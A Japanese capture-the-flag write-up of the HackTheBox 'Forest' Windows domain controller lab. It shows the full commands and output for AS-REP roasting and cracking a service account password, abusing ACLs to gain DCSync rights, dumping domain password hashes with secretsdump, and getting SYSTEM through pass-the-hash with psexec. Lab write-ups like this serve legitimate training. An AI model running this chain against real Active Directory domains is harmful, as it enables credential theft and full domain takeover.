概要
- ヌルセッションでドメインユーザを列挙
- AS-REP Roasting(etype 23)で
svc-alfrescoのパスワードを解読 - BloodHound で
Account Operators→Exchange Windows Permissions(GenericAll)→ ドメイン(WriteDacl) という ACL 悪用チェーンを確認 - ACL 悪用チェーンを使って、ドメインへの FullControl を取得
secretsdumpで Administrator の NT ハッシュを取り、psexecで SYSTEMを取得
対象環境
| 項目 | 値 |
|---|---|
| 問題 | Forest |
| 難易度 | Easy |
| OS | Windows |
| IP | 10.129.85.220 |
| 攻撃者IP | 10.10.14.16 |
攻撃フロー
1. 偵察
rustscan で全ポートを確認。
88 / 389 / 445 / 5985 が開いており、LDAP がドメイン htb.local、ホスト名 FOREST を返す
Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scans
Open 10.129.85.220:53
Open 10.129.85.220:88
Open 10.129.85.220:389
Open 10.129.85.220:445
Open 10.129.85.220:5985
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-09 06:55:06Z)
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windowshtb.local を /etc/hosts に足した。
Ch4n24n@htb[/htb]$ echo $TARGET htb.local | sudo tee -a /etc/hosts
10.129.85.220 htb.local2. ユーザ列挙
ヌルセッションの rpcclient で enumdomusers を実行
組み込み・Exchange 系に加え、人間寄りのアカウントを 6 件出る
Ch4n24n@htb[/htb]$ rpcclient -U "" -N $TARGET
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]3. AS-REP Roasting
6 件を impacket-GetNPUsers に渡す。
svc-alfresco だけ UF_DONT_REQUIRE_PREAUTH が立ち、etype 23 の AS-REP が返る
Ch4n24n@htb[/htb]$ impacket-GetNPUsers HTB.LOCAL/ -dc-ip $TARGET -no-pass -usersfile ~hack/creds.user
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$...
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH setローカルパスワードクラックで svc-alfresco:s3rvice を見つける
Ch4n24n@htb[/htb]$ hashcat -m 18200 '$krb5asrep$23$...' /usr/share/wordlists/rockyou.txt
...:s3rvice
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests (total)4. 資格情報の確認
資格情報として有効なこと、WinRMでのアクセスが可能であることがわかる
Ch4n24n@htb[/htb]$ netexec smb $TARGET -u 'svc-alfresco' -p 's3rvice'
SMB 10.129.85.220 445 FOREST [+] htb.local\svc-alfresco:s3rvice
Ch4n24n@htb[/htb]$ netexec winrm $TARGET -u 'svc-alfresco' -p 's3rvice'
WINRM 10.129.85.220 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)5. BloodHound を確認
bloodhound-ce-python で LDAP から収集する
※ 内訳: ドメイン 1、コンピュータ 2(FOREST / EXCH01)、ユーザー 32、グループ 76
Ch4n24n@htb[/htb]$ sudo bloodhound-ce-python -d htb.local -u 'svc-alfresco' -p 's3rvice' -c All -dc htb.local -ns $TARGET
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Found 32 users
INFO: Found 76 groups
INFO: Found 0 trusts
INFO: Done in 01M 09SAdministrator までの経路を確認
Pathfinding で svc-alfresco → Administrator を設定
Account Operators が Exchange Windows Permissions に GenericAll、そのグループがドメインに WriteDacl であることがわかった
6. WriteDacl で DCSync
Account Operators なので、自分を Exchange Windows Permissions に入れる
Ch4n24n@htb[/htb]$ bloodyAD -u 'svc-alfresco' -p 's3rvice' -d htb.local --host htb.local add groupMember 'EXCHANGE WINDOWS PERMISSIONS' 'svc-alfresco'
[+] svc-alfresco added to EXCHANGE WINDOWS PERMISSIONSドメインオブジェクトへ DCSync を書く
Ch4n24n@htb[/htb]$ impacket-dacledit -action 'write' -rights 'FullControll' -principal 'svc-alfresco' -target-dn 'DC=HTB,DC=LOCAL' 'htb.local'/'svc-alfresco':'s3rvice'
[*] DACL modified successfully!secretsdump が DRSUAPI で NTDS.DIT を出す
Ch4n24n@htb[/htb]$ impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@htb.local
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435...:32693b11...:::
krbtgt:502:aad3b435...:819af826...:::7. Pass-the-Hash で SYSTEM
Administrator の NT ハッシュで psexec
Ch4n24n@htb[/htb]$ impacket-psexec -hashes :32693b11... Administrator@$TARGET
[*] Found writable share ADMIN$
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
C:\Windows\system32> whoami
nt authority\system参考
おわりに
- この端末が WORKGROUP ではなく、ドメイン参加端末であることがわかると、教科書的な対応で攻略できます (私は、このホストを WORKGROUP だと勘違いし、
ASP Roastingを試すまでに時間がかかりました…💦) - 素直でいい Box でした😊
